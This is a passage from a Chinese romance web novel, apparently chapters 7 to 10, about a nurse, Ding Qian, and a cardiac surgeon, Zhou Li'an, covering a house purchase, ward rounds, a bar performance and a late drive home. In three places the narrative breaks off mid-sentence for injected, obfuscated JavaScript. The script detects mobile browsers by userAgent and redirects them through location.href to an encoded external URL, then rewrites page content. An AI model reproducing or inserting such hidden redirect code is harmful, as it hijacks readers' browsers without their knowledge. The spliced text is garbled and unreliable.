照这种敬业程度，想不赚钱都难。 约定好第二天上午的看房时间，周黎安将手机静音搁在床头柜上。 / 上午八点。 周黎安从酒店健身房运动回来，接到陈越的电话。 “哥，这都周末了，也不见你主动找我。”一众兄妹里，陈越跟周黎安关系最好，时常跟在对方屁股后面，被人嘲笑跟屁虫也不在乎。 “不是说过下周？”周黎安擦着脸颊上的汗水，转头拧开一瓶矿泉水，咕咚咕咚喝下半瓶。 “你这既不上班又没女朋友的，为什么还得下周？别是觉得我烦，故意找的借口吧？” 周黎安一阵白眼，嘴里跟着说道：“周末搬家。” “搬家？哥，我妈没给你那套房的钥匙？” “不方便。” 陈越听出些其他意思，笑着打趣起这位表哥，“我不会有嫂子了吧？你不想让我妈知道，对不对？” “我这刚回来，哪里来的嫂子？” 遇上这位爱追问细节的表弟，周黎安通常没什么耐心，他挠一把头发，勉强解释：“那边离医院太远。” “你早说呀，害我白高兴一场。”提上来的兴致明显落空，陈越的声音都抱有几分憾意。 “那说好了下周我给你接风，这事你要再推我就告诉我妈，你宁愿住在外面也不住家里的房子！” “周五下班，其他时候别找我。”挂了电话，周黎安进了卫生间，再之后换了身衣服赴约。 十点，周黎安见到了中介小樊。 “周先生本人比照片更加帅气。”刚见到面，小樊就大夸特夸，将周黎安夸得险些失去耐心。 “我打算买房，周边配套好点的小区能不能带我过去看看？”小樊正为自己的彩虹屁沾沾自喜，周黎安先一步打断了他脑海里涌起的大段优美台词。 “有，当然有。”小樊及时打住，从包里掏出手机，将手里最好的几处房源统统打开，一一让他过目。 “江南华府是周边配套最完善的住宅区，精装修唯独价格不便宜；金湖嘉园视野不错，但只剩楼层低的还没有售出；玉兰苑和天润华庭都只剩中间户，面积不够大……” 小樊说了一堆，也没看出周黎安有什么表示，他试探性建议：“要不……我都带你过去看看？” “江南华府售价多少？”刚刚那一眼瞧过去，周黎安已经有了答案，不过遵循丁浅透露给他的消息，才故意这么问。 “目前差不多三万三左右，毕竟精装修嘛！”小樊眼睛放光，正为自己遇上大客户暗暗窃喜。 “太贵。”周黎安又一口否定，“便宜点的有没有？” “你等等。”小樊翻出几张实物照片，心里还在为错过大单感到失望。 左右看了好几套，也没能让周黎安满意。 小樊生怕这条大鱼溜走，咬咬牙，拿出江南华府几套精装修的房子，再次和周黎安周旋。 “周先生要是真考虑江南华府，我先带您过去看看，您中意了我们再谈价格，如何？” “先去看看。” 整个看房过程，周黎安并没有流露太多惊喜的表情。他全程平静，跟往常坐在办公室给人看病没什么两样。 小樊再次坐不住，主动将价格压下。几番折腾让价，才顺利让周黎安签了合同。 “周先生不愧是医学高材生，自愧不如。”小樊一边叹气一边整理材料，心里可没少滴血。 早知道眼前是位大金主，他说什么都不会让价，现在好了，房子是卖了，可离他期望的佣金还差一大截。 一切处理好，已经下午。 时间不早，周黎安提出要请小樊吃饭。 “忙活一天了，请你吃个便饭？” 小樊虽说人精明，可这个时候还是有点职业素养，他摆手拒绝的干脆，“回去还得和公司报备，这顿饭你留着请给你提供名片的人吧。” “行，那路上注意安全。” “后天记得早点，我后面还约了客户。”离开前，小樊郑重提醒。 周黎安点点头，想到丁浅那句话，嘴边不自觉噙出一抹笑。 / 周一。 丁浅还是开例会才发现周黎安没来。 “上午可以轻松点了。”夏凝在她耳边悄悄说道。 “他来不来都忙，你没看门口好几位家属等着床位吗？” 夏凝顿时拉下脸，“看来这周没好日子过了。” “我才惨好不好。”丁浅抬头看了一眼，苏棠正在翻看上周记录，她小声诉苦道：“周主任排了手术，我跟着他指不定忙成什么样。” 苏棠发现有人交头接耳，连忙拿眼来瞪。 丁浅赶忙住嘴，生怕不必要的麻烦缠上自己。 午饭时间刚过，周黎安来了。 看不出什么情绪，只在路过护士台时将丁浅叫进办公室。 “这周你得全面配合我在手术前的一系列工作，不明白的地方尽早问，听懂了没有？” “懂了。” 周黎安没让她走，丁浅不好贸然离开。 看着对方放下公文包又穿上白大褂，丁浅有些局促，不明白他好端端把她叫进来就为说这一句。 “租房的事得谢你。”周黎安将扣子扣上，转过头说道。 “不用不用，本来就顺手的事情。”丁浅指了指门外，“周主任还有事吗，没有的话我先出去了，护士台的铃声好像响了。” “嗯，去吧。” 丁浅从不期待周黎安会有实质性的感谢方式，就单单让他说出这么一句话，都让她浑身直起鸡皮疙瘩，要是哪天真请她吃饭…… 还是算了。 她本身胃口不好，别吃了又得加个消化不良的症状。 铃声恰好是她负责的管床范围。 丁浅摁掉转头进了病房。 “护士，我母亲说这药水挂上之后一直反胃。”五床的病人家属是位五十出头的中年男人。 丁浅抬头看了一眼吊瓶，随后半俯下身跟脸色蜡黄的老太太解释：“奶奶，您挂的是补钾的药水。这药水本身挂了就会不舒服，您忍一忍，挂完就好了。” “能不能少挂点啊？明天就开刀了我是一点力气都没有。”老太太半躺在病床上，愁容满面，估计也在担心明天的手术。 “缺钾会容易引起心脏跳动加快，对您身体更有危害。” 丁浅将点滴速度调慢了些，转身和旁边的中年男人交代：“叔叔，待会您给整条热毛巾敷着，让老人适当吃些食物都能起到缓解作用。” “香蕉能不能吃？” “可以的。” 男人一听可以吃水果，当即掰了跟香蕉剥开递到老母亲手里。 经食物这么一打岔，老太太也不再嘀咕，慢吞吞吃起水果。 老人情绪得到缓解，丁浅才离开病房。 寻常小事，护士一天能遇见好多回。 到了傍晚，老太太的孙儿赶来医院，听父亲说起上午一事，专程买了奶茶送到护士台。 “您太客气了，这都是我们护士的本职工作。”几位护士一致拒绝。 男生二十来岁，估计没遇上这种情况，他挠挠头，放下奶茶转身跑了。 夏凝和几位护士一致盯着丁浅，那眼神明摆着暗含其他意思。 “该不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375767|168329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会人家相中你了吧？” “别瞎说啊，小心护士长听见。” 老太太明早动手术，为了让其家人安心，丁浅知会过护士长几人分了奶茶。 手术异常顺利，手术结束老太太就被安排进ICU病房，重点观察。 周五，丁浅随周黎安等几位护士照例过去查房，老人已经出了ICU，体征稳定，正由儿子陪着吃早餐。 见到周黎安，中年男人上前一步直握着他的手，嘴里再三说着感谢。 “治好每一位病人是我们的宗旨。”周黎安一贯淡定，详细询问过病人状况又揭开老人伤口，仔细检查。 这是跟班后周黎安做的第一台手术，丁浅听得异常认真。 她跟在后面时不时做些记录，心里逐渐对他改观。 去上海之前，丁浅只从医院网站上看过周黎安的资料。 知道他在心脏这方面颇有成就，是那所医院鼎鼎有名的高级专家。 那会以为照片具有欺骗性，好端端的医学大佬怎会如此年轻？直到见到真人，和人呛上，丁浅的困惑才更深。 就这种行医态度，怎么都无法将他跟顶尖医学专家挂钩。 直到周二老太太那场手术。 从老太太出了手术室到被推进ICU病房期间，她亲眼看到患有心脏疾病的老人一天天好转，丁浅这才觉得那会或许是对他成见太深。 母亲说的没错，不到万不得已谁想天天想着这种事？ 人活一天本来就是为了多攒一天的快乐。 “还得谢谢这位小姑娘。”老人指着丁浅，竟当着一众医护人员的面交代自己那年纪轻轻的孙儿，“敬宇，回头问问人家哪天有空，请人家吃个饭。” 丁浅正全神贯注做着记录，陡然听到这话吓得连笔掉了都不知道。 “奶奶，收下奶茶已经不好意思了，您就别为难我们了，养好身体要紧。” 旁边几位护士跟着一块劝，才总算将老人劝住。 出了病房，丁浅明显吓出一身汗。 苏棠见她如此紧张，不免开她玩笑：“小丁这么年轻，在急诊没遇到过？” 丁浅摇摇头，“还真没有。” 苏棠不过随意一说，之后先一步进了隔壁病房，夏凝见状挤到她身边，大胆猜测：“老奶奶一定相中你，要你做她孙媳妇了！” “去去去，瞎说什么。” 夏凝吐吐舌头一溜烟走了。 周黎安和病人多聊了几句术后注意事项，此时走在最后，两人的话全被他听到。 察觉前面的小护士已经红了耳朵根，他唇边微启，眼里竟然生出一丝百年难得一见的笑容。 / 丁浅今天早班，晚上八点才下班。 上周和江洛约好，以至于下了班她拎着包飞速往外跑。 “你再不来，我这边的常客恐怕都要有意见了。”休息室里，江洛坐在沙发上直倒苦水。 丁浅往脸颊上扫着腮红，头也没回，笑她：“是你有意见吧？” “嗯，我也有。” “我妈妈昨天才走，我今天不是就来了？”刚想继续说些什么，丁浅突然扭过头，神色陡然变得凝重。 “我是不是没跟你说过，我在上海杠上的那位主任，现在在咱们医院？” “什么？”刚刚还满腹委屈的女人，此时连腰板都挺得笔直，“浅浅，你这是遇上鬼了呀，阴魂不散吗？” “还有更刺激的，你要不要听？”丁浅眨眨眼，故意挑起江洛的兴趣。 “快说快说。” “我不是支援心外科嘛，他刚巧调过来。换句话说，我现在听他指挥。” “对你变本加厉各种折磨？” 丁浅点头又摇头，“也不算。批评倒是常有，但工作之余人还算客气。” “你这遭遇简直可以出书了。名字我都帮你想好了，就叫……《就诊之后，主任医生成了我的上级》，怎么样？” “打住啊，小说是小说，别被毒害了！”丁浅扭过头继续化妆。 江洛却窝在沙发里，时不时看一眼丁浅，时不时咯咯傻笑。 九点半，大堂经理来了电话，江洛被叫走。 丁浅换好衣服，走到舞台后方。 主唱见是她，电吉他在手里一阵狂扫，声音骤然降下后才伸手做了请的手势。 熟客认得丁浅，此时欢呼大于掌声，她在热烈的气氛中接过话筒。 “哈喽，各位好久不见！” 8. 008 牙牙学语开始，丁浅在语言表达上就要比同龄人有天赋。 那时候张初华刚接初一，晚上没有太多时间陪她，总是将个小广播塞她手里让她自己听着玩。 玩着玩着，张初华陡然发现她的女儿居然会跟着歌曲哼哼，喜出望外之余当即就给报了早教课。 果真如她所想，小姑娘爱上唱歌，后来一发不可收拾，几乎达到迷恋的地步。 张初华一直没有干涉，直到女儿表示高考毕业想走这条路，她才如梦初醒，亲手断了女儿的念头。 如今，丁浅安分守己做了护士，张初华跟前她是乖乖听话的好女儿，张初华一旦离开她依旧我行我素，骨子里那点桀骜不再遮掩。 就她今天这身打扮，张初华若是看到指不定得气成什么样，更不用提她还站在台上，身处酒吧。 “老板娘的专场，唱什么歌她说了算。”丁浅戴上麦，眼神下沉，嘴唇划过麦克风，“一首蔡健雅《越来越不懂》送给大家。” / 不夜城。 周黎安发现陈越要给他接风的地方是酒吧之后，扭头就走。 “别呀哥，来都来了，就当放松嘛！”陈越死乞白赖，拉着周黎安的胳膊不肯松手。 不是非要带他来这，而是听江洛说丁浅那姑娘今天会来，陈越又不想错过和表哥的聚会，这才咬咬牙，拉着一向不爱热闹的表哥来了这里。 “放松的方式有很多，你知道我不喝酒。”周黎安态度坚决，全身气压都堆积在脸上，分明对他的行为感到生气。 陈越知道不打招呼不对，无奈之下，他苦苦哀求对方，“哥，我都定了位置，别让我被人笑话，行吗？” “我发誓，只要你说走我保证先你一步起身，求求你了。” 周黎安万分抵触，碍于陈越一番好意，只能皱着眉头随他一块进去。 里面比想象中安静。 轻柔的歌声从台上传来，周黎安恍惚产生了某种错觉。 陈越和江洛熟，早早定下一处雅座。 “得不到的就更加爱，太容易来的就不理睬……”唱到这句，周黎安刚好抬头，这一眼他看到台上站着的正是白天被病人夸红脸的小护士。 她闭着眼，浑然不知他来。 越靠近雅座灯光越发暗淡迷离，周黎安选了处侧边的位置坐下，目光至始至终没有离开。 陈越见他已有几分兴趣，于是凑过身解释自己要来这的真实目的。 “哥，其实台上这姑娘是我们一朋友，难得能来，就想着让你过来一块凑凑热闹。” “朋友？” “你看我这记性。”陈越猛拍一下脑门，“这家酒吧的老板娘跟我是朋友，台上唱歌的是她高中同学。她妈妈不同意她唱歌，这等人走了才过来。” 联想起那天电梯里，丁浅低声细语的说话声，周黎安当时还以为她是在哄不被认可的男朋友。 他认定她这个年纪会做出格的事情，却怎么也不知道她会走上舞台。 一首歌已经结束，台上的姑娘调整一下耳麦，开始唱另一首抒情歌曲。 “她挺会唱歌？”蓦地，周黎安问了这么一句。 陈越点好酒水又特意给周黎安点了杯气泡水，听见对方问话，没多想拼命点头。 “那可不，你别看她一副文文静静的样子，唱起粤语歌真不赖，有机会听到你就明白了。 周黎安没办法把“唱歌不赖”和眼前的姑娘联系到一块。 他的理念里，歌声动听的姑娘家应当恬静优雅，身处闹事仍当处事不惊，而不是像她这般将自己放任其中。 就她身上这件长到膝盖的吊带裙子，周黎安就根本想象不出为什么非要在里面套上一条牛仔裤，还是肥到能塞得下两个她的那种。 正经姑娘可没她这么闹腾。 “哧。”微不可闻，周黎安扯了下唇。 / 江洛早早就注意到陈越今天带了朋友。 碍于要招呼客人，她忙了半天才得空。 “不介绍一下？”江洛自来熟，见旁边有空位一屁股坐下，饶有兴致地盯着两人。 “我表哥，周黎安。”陈越介绍：“上回你不是托我打听上海最好的心脏方面的专家？喏，我表哥就是。” 江洛记着丁浅的话，并没有把两人有过争执一事告诉陈越，目光在周黎安身上转了一圈，她半开玩笑说了句“好巧。” 好巧她才刚刚知道丁浅和这位周主任是同事；好巧丁浅人就在台上；好巧……待会儿估计会有好戏可看。 周黎安却从这两个字上听出些其他意思。 若是猜的没错，小护士肯定把什么话都告诉了对方，或许还在背地里将他骂的狗血喷头。 想到外表文静的姑娘发起火的样子，周黎安嗤之以鼻，不自觉抿了口气泡水。 “你表哥看起来不像会来这种地方的人。”无人察觉时，江洛推了推陈越。 “我表哥正经人。” “你这话什么意思？我们不是正经人吗？” “我不是那个意思。”察觉周黎安起身，陈越眼神连忙跟过去，“表哥，你不会真要走吧？” “洗手间。” 周黎安一离开，陈越也不打算藏着掖着，开口替哥哥说好话：“我表哥这么多年的学术研究可不是盖的，要像我们整天吃喝玩乐，这成就天上能掉下来？” 江洛不置可否，满脸不服气，“你就直接说古板得了，还省得我听你长篇大道说一堆有的没的。” “你非要这么理解也行。” 两人还没争出个谁胜谁负，丁浅已经从台上下来，一屁股坐在周黎安刚刚坐过的位置上。 江洛“呀”了一声，正要开口，身后已经传来声音。 “这是我的位置。”万分熟悉，冥冥之中有股阴魂不散的错觉。 丁浅浑身起了鸡皮疙瘩，她扭过头正要出声，陈越已经先一步走到周黎安面前。 “浅浅，给你介绍一下，我表哥周黎安。” 丁浅：“……” 江洛：“……” 周黎安：“……” 三人均无反应，陈越以为自己介绍的不够详细，于是勾住周黎安的脖子，笑说：“上回你不是让江洛问我专家的事情，怕你心里过意不去我就没说，其实给你们找的人就是我表哥！” 这哪是过意不去这么简单？ 丁浅吞了吞口水，把满肚子的心思都给压了回去，她怔怔看着对方，好半天才憋出一句，“好巧啊，周主任！” “嗯。” 这是一张圆形四人位的雅座，对面已经被陈越和江洛占着，丁浅硬着头皮往旁边挪了挪挨着周黎安。 “是吧，是不是挺巧？”陈越举杯建议，“要不我们走一个，为再次相遇干一杯！” 四人当中，只有陈越真心实意感到高兴。 至于其他三人，除了丁浅和周黎安，就只剩下江洛一个人在认真看戏。 三人毫无反应，陈越一头雾水，无知的表情并不是装的，“哎哎哎，我说你们三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“陈越，面也堵不住你的嘴是吧？”江洛往他心口捶去一拳，口气极冲，“净往人伤口上撒盐好玩吗？” “不好玩不好玩。”陈越作出求饶状，一言不发闷头吃面。 “没事。”丁浅替陈越打圆场，“江洛她逗你的，别当回事。” 周黎安意味深长地喝着气泡水，目光从对面两人脸上划过，再不经意落到旁边的姑娘身上。 干坐着属实难受，这时候台上的男主唱在cue她，丁浅顺势起身，脱离了这种略显局促的聚会。 重新回到台上，气氛陡然开始热闹，敌不过台下熟客闹腾，丁浅和那位男主唱一块唱起了情歌。 本本分分的姑娘有一天若是变得全然陌生，不是失恋就是长大，周黎安在丁浅身上完全没看到这两点，反而心中只想到另一个非常贴切的词语——小魔女。 从微信上那个坏笑的卡通人物开始，周黎安就产生过质疑。 如今，台上眯着双眼尽情释放天性的样子，倒让这一切更加合理。 周黎安合理怀疑，丁浅骨子本就是自由生长的藤蔓。 偏执，洒脱，不愿被任何事物给束缚。 9. 009 除了加班，周黎安雷打不动十一点必须睡觉。 医生这行待久了，他比任何人都更加珍惜生命。 十点刚过，他便提出要走。 陈越拦不住，便也起身打算让他送自己回去。 “走不走？”周黎安看到丁浅已经从台上下来，正要往后台去，顺嘴问了句。 “我吗？不用不用，我再待会。”丁浅连忙推脱。 “待什么待？酒吧营业到凌晨，你明天不上班啦？”陈越走上前，一把拉着丁浅的手腕，“听我的，蹭一回车，下了班大家都是朋友！” 丁浅还是觉得不妥，正要挣脱之时，周黎安一把扯过陈越的胳膊，将人拉到旁边。 “车在门口，速度快点。”没给丁浅拒绝的机会，他快速替她做了决定。 周黎安拉着陈越去了收银台，丁浅不敢让人多等，快速回休息室拿了包和衣服，赶紧去门口汇合。 酒吧处于市中心的商业街上，位置好人流量也大。 当初江洛将位置定在这处，丁浅还批评她极具败家女的潜质，没想到两三年下来，不夜城被打理的井井有条，如今也成了这一带口碑不错的休闲去处。 / 酒吧出来，暖流扑面。 混合着隔壁饭店的烟火气，从店里出来几位年纪轻轻的男大学生。 他们勾肩搭背正笑说着某一趣事，大抵说到高兴之处，吼叫声跟关在笼子里的猩猩似的，总让人觉得违和。 丁浅避开，打算从他们身后绕到停车的位置，身影交错之时，有人故意吹起了口哨。 男人调戏美女的戏码，出现在一群大学生身上莫名低俗，好像这么多年的学没让他们学会尊重女性，反而给了他们无底线放肆的筹码。 “快点，想回去被骂是不是？”陈越最爱打抱不平，尤其这一群大学生里，还没一个帅哥。 两人都在等她，丁浅低着头快速走了过去。 这番动作落在大学生眼里，摆明了就是出去厮混被严厉的哥哥逮住，谁还会没事找事惹上人家哥哥？ 几位大学生同时噤声，陈越拉开后车门让丁浅上车。 隔绝了外界的关注，丁浅低声说了句谢谢。 低眉顺眼，越发乖顺。 “哥，我刚刚演技不错吧？”喝了酒，陈越颇有求表扬的欲望，逮着周黎安问个没完。 周黎安：“……” 没有人说话，陈越摸摸鼻子转头扣上安全带。 车子快速汇入主干道，在最短的时间与黑幕融为一体。 丁浅仍有余悸，来来回回搅着手指，一副惊魂未定的模样。 透过车内后视镜，周黎安注意到后排的姑娘正低着头，一张小脸隐没在黑暗里，完全失去光彩。 他临时变道，将车往陈越家所住的方向开去。 “哥，你今天对我这么好啊？”陈越发现时，汽车已经拐进单行道，没办法再掉头。 换句话说，这个时候就算陈越有任何微词，周黎安照样可以拿单行道没办法掉头来堵住他的嘴。 “节约时间。难不成你真觉得我时间多，闲着没事带你绕圈子？” 到了小区门口，陈越刚刚下车，周黎安就掉了头，随后将车停在小区前面的停车线内。 “丁浅？” “嗯。” “坐前面来。” “啊？” “我不给人当司机。” “……哦。”丁浅乖乖下车，坐到了副驾驶的位置上。 两人共处同一密闭空间多少会尴尬，尤其还是半夜。 旁边开车的男人并没有回头，他双手仍握着方向盘，只是那声音听着命令感十足。 丁浅几乎不坐男人的车，哪怕是关系熟悉且有其他人在场她也是能推就推，目的就是不想遇见今天这样的情况。 今晚也不知自己哪根筋搭错了，居然没有再三拒绝。 可能真跟人的气场有关。 周黎安周身难掩威严的气质，她要真敢拒绝，保证明天迎接她的就只剩毒舌和冷漠。 气氛莫名难捱，密闭空间内呼吸正在无声蔓延。 随着冷气四散，丁浅闻到一股淡淡的薄荷香，像是刚掐了片叶子泡进水里，那味道清爽生涩。 刚到急诊那会，丁浅并不知道遇上突发状况的概率会那么大。 有一次正逢她接班，还没来得及带口罩就遇上一位火急火燎的大汉。 对方口口声声说自己吃坏东西，拉的受不了，要求赶紧给扎针挂水，说话的口气比耕地的黄牛还要冲。 丁浅年轻没敢怠慢，快速找筋脉消毒，准备扎针。 估摸是东北人来之前吃了一嘴的蒜，丁浅找静脉的时候身子凑的近，那味道险些没让她吐出来。 再之后，丁浅在这方面相当注意，连带着对周围环境都过分敏感。 眼下，闻着周围清凉的空气，心里的余悸连带着都褪了干净，无所事事，她开始无声打量起四周。 周黎安应该回去换过衣服才出门，要不然白天那套正装出现在酒吧，吹口哨的就不定是男人。 恐怕一堆女人都得主动投怀送抱。 不怪那套白衬衫黑西裤，实在是周主任本身颜值在线，加上女人大多都是视觉动物，霸道的气质呼之欲出，怎么可能放弃即将到手的猎物。 丁浅没敢大张旗鼓地观察，只拿余光看他。 “偷偷打量别人，是不是不太礼貌？”周黎安一语带过。 他的目光正集中在右边的后视镜上，骨节分明的大手随着身后车况快速打了一把方向，掌心覆在方向盘上，莫名勾人。 娴熟的车技并没有成为他显摆的工具，相反变道之后，周黎安依然紧盯前方，仿佛刚刚那话是广播里发出来的。 也不是。 车内无声，他的车载只是摆设。 丁浅也知自己刚刚的举动并不十分礼貌，正要开口缓解一下气氛，周黎安突然打了右转向灯，将车停在路边。 “怎…怎么了吗？”以为要停下来对她进行一番严厉批评，丁浅紧紧握着安全带，注意力都放在周黎安那张面无表情的脸上。 昏黄的路灯，将周黎安的脸颊打出阴影，斑驳之间，那双眼正一动不动地盯着她，仿佛刚刚没有回答已是犯了天界。 “周主任，我——” “裙子，挡住后视镜了。”周黎安解锁，示意她去解决。 丁浅连忙低头查看，果真是她裙子后面的长带卡在车门外，只要速度太快，就会吹到后视镜上。 “对不起，我没注意。”丁浅万分尴尬，连忙推开车门，将长带收了进来。 侧身，弯腰，不注意的一幕呈现在眼前。 周黎安别扭地收回目光，他将视线落在前方孤零零的路灯上，平静地提醒道：“丁浅，把外套穿上。” 刚刚，他看到她臂弯里挂了件衬衫。 丁浅不知何意，仍乖乖照做。 只是…… 当她开始扣衬衫纽扣的时候，那些令人脸红心跳的画面才从脑海里匆匆跳了出来。 她的吊带裙，其实是低胸的。 不低头弯腰基本还算正常，但凡动作幅度稍大，就能看见一道略有轮廓的沟壑。 出酒吧大门时，她是想着要将衬衫穿上，后来大概是被几位大学生吓到，一时给忘了。 丁浅低头不语只是一味的扣扣子，甚至连最上面那颗也没放过。 咔嗒。 安全带落锁，周黎安重新发动汽车。 丁浅大气不敢出一下，恨不得立马开车往外跳。 红灯时，周黎安快速瞧了一眼，只见安安静静坐在副驾驶上的姑娘半张脸都对着窗外，长发垂落，绯红的脸颊全部藏匿其中。 她应该喷了香水，甜欲腻人的味道，像是咬开一颗甜到齁的无花果，一时有些腻鼻。 周黎安接连打了三个喷嚏，最终开了车窗。 “那个…要不我还是自己回去好了。” “嗯？” 目光骤转，副驾驶上一言不发的小护士面色酡红，像一颗熟透的水蜜桃，透着鲜少会有的羞涩，长长的睫羽扑棱棱的，有几分幼鸟学飞的傻乎样。 她长相清秀，如果表里如一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375769|168329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话。 周黎安心想。 “不用。”他又重新关上，只留着一道缝隙。 莫名而来的情绪，让丁浅再也没法镇定，思想斗争半天，她打算找点话题，好打破这一路难以想象的窘迫。 “在上海，我不应该质疑您。” “我以为你忘了。” “没有。”丁浅心虚，“我就是觉得说出来太尴尬，想着既然您没有挑明，大家就当没事发生……” “那今天——” “都当着面说了，我再不承认也不太好。” “所以”周黎安顿了顿，“你也跟你朋友说我坏话了？” “啊？”丁浅不敢置信，他怎么连这个都能猜的到？ “那时候挺生气来着，不过我没有对您进行人身攻击，我——” 越说越乱，尤其周黎安并没有搭腔。 丁浅知道自己开了一个很不好的头，也就没好意思再说什么，她目光重新注意到窗外，这会想起另外一件事。 “周主任，您跟我顺路？” “我住江南华府。” 他这不说还好，说了顿时有种不平衡的情绪悄然萌生。 想到江南华府的房价，丁浅免不了咂舌。 “速度真快。”她小声嘀咕。 “你刚说什么？”周黎安心思都放在开车上，并没有听得太清。 “说您买房速度真快。” “就当投资。托你的福，和小樊玩了一场心眼战。” 丁浅知道他这话什么意思，连忙摆手表示不必客气。 汽车快要抵达玉兰苑，丁浅眼前一阵晕眩。 晚饭她吃的不多，在酒吧又玩的那么嗨，肚子里那些食物早就所剩无几，她低头翻包，没一会儿翻出一块巧克力。 正要拆开，后知后觉意识到自己并不是在出租车上。 碍于实在不舒服，丁浅犹豫再三还是小心翼翼开口，问道：“周主任，我能不能在您车上吃点东西？” “嗯。” 丁浅快速拆开巧克力包装纸，将一颗巧克力丢进嘴里。 窸窸窣窣的声音传开，周黎安的目光也跟着一并过来。 只不经意的一眼，又回到前方路况上。 “我就吃块巧克力，没把您车弄脏。”丁浅含糊解释。 “大晚上你吃这个不腻？” “我低血糖。” “管用？” 丁浅边往肚子里咽边点头，随后又从包里翻出一块摊在手上，献宝似的递过去，“我这还有，您吃不吃？” 她这语气挺像好朋友之间分享美食，轻飘飘一句，单纯至极。 “我在开车。”周黎安答。 已经拿出来的东西若是再放回去多少别扭，丁浅清清嗓子，不太确定的将巧克力放在中控台上。 “那我放这，您待会吃。” / 江南华府与玉兰苑隔一条马路，丁浅再三表示自己就在路口下车，周黎安才将车停在路边，亲眼看着她过了马路。 风吹起她的长发，将她的长裙吹开，走进小区的姑娘突然回过头，朝马路这边挥了挥手。 一张脸，白皙干净。 他猜，那张脸上多少含着微笑。 朦胧的月色，娇俏的少女，还有在这一瞬间鲜活起来的生命。 周黎安从没觉得自己需要烦恼什么。 他拥有绝大多数人望尘莫及的成就，健康的身体，受人尊敬的职业，他一度认为自己就这么过下去也未尝不可。 直到刚刚，看见那个处处洋溢青春气息的姑娘，他似乎察觉自己缺少了很多东西。 古板沉闷，不解风情，生活单一，这三个标签并不适合三十出头的年纪。 周黎安无奈的摇摇头，松开手刹打算回家。 视线不经意落在中控台，糖果色花纹纸包装的巧克力静静躺在暗格上，像是不经意落下。 静默半秒，周黎安伸手拆开包装纸将巧克力扔进嘴里，醇香浓厚的味道瞬间占满整个口腔，他忍不住微微蹙眉。 齁甜腻歪，属实尝试不来。 10. 010 偶然的相遇像是平静的湖水被顽童扔进的一颗石子，沉到水底，再无任何波澜。 那晚无意中相遇的情景，并没有加深两人之间的工作交流。 反而周黎安一如既往严肃，公事公办的态度，完全没有因此改变一点。 这天上午，照常查房结束，几人相继从病房出来，丁浅意外看到了余笛。 “小丁！”余笛站在护士台，正朝她招手。 “护士长，我先过去一下。”丁浅摘了口罩，快步走了过去。 “余姐，怎么有空过来？” “家里老人身体不舒服，我正好下班过来问问情况。” 余笛穿着明黄色的连衣裙，长卷发用一只鲨鱼夹夹在脑后，大抵刚下夜班，状态并不算太好。 “很严重吗？” “还好，就是不放心让我问问。”余笛说着话，目光早已掠过丁浅朝前面的周黎安望去。 周黎安刚出病房，此时口罩还没摘下，正同追出来的病人家属说着话。 他侧身立于过道，高大的身型，板直的后背，让人没办法移开目光。 “余姐？余姐？”丁浅连喊了两声，才把走神的女人找回来。 “你刚刚说什么？” “我问，需不需要我帮你去问医生？” “不用，我认识宋主任。”余笛刚要抬脚去主任办公室，临时想到什么，又将丁浅拉到一旁，小声问她：“你们周主任，是单身吗？” “没听说，怎么了？” “没事。”余笛朝她笑笑，拍着肩膀走了。 丁浅感到莫名其妙，总觉得哪里不对劲，可仔细想一想，又没想出什么头绪出来。 中午吃饭，夏凝一口一个“禁欲”一个“美感”，弄得丁浅频频直翻白眼。 “能不能收起你那副花痴样？” “不能。”夏凝一口拒绝，她托着腮自我陶醉道：“我发现周主任只要不说话，样样都很完美。” “那开口说话呢？” 夏凝瞬间泄气，“谁敢对他想入非非，简直就是自寻死路。” 丁浅夹了一片莴苣送进嘴里，边嚼边点头，“还算拎得轻。” “我也就犯犯花痴，真要打什么主意，廖天淇还不劈了我。” 正说着，丁浅手机响了。 “喂，余姐？” …… “回头我帮你问问。” …… “没事。” 挂了电话，丁浅无声叹了口气。 “怎么了？”夏凝看她情绪被动，忍不住关心道。 “咱们刚说什么来着，这不偏偏来了？”丁浅指了指手机，“儿科的余医生，想让我帮忙打听一下咱们周主任是不是单身。” “找我呀！”夏凝拍拍胸脯，打包票表示待会回去就给她办妥。 果真，没出一个小时，夏凝眉开眼笑地从护士长办公室出来了。 “我刚去问了护士长，说是没有女朋友。” 丁浅诧异，“你直接问的？” “我说我表姐还没有结婚，想问问咱们科室还有没有单身的男同事。” “你睁眼说瞎话的本事什么时候学会的？”丁浅捏着她的胳膊，将人拉到角落里，“你上周不是才参加了你表姐的订婚宴吗？这个时候突然又来这出，不怕露出破绽？” 夏凝不以为然，“难不成你以为周主任真会答应？” “……也是。”丁浅点点头，转头就把这事告诉了余笛。 没想到余笛立马打了电话过来，着急程度弄得丁浅一时有些不知所措。 “小丁啊，能不能再请你帮个忙？”电话里，余笛相当直爽。 “你说。” “能不能请你把周主任的联系方式给我呀？” “余姐”丁浅犹豫片刻，“要不我把微信推给你，成吗？” “可以，那就谢谢你了啊，小丁！” 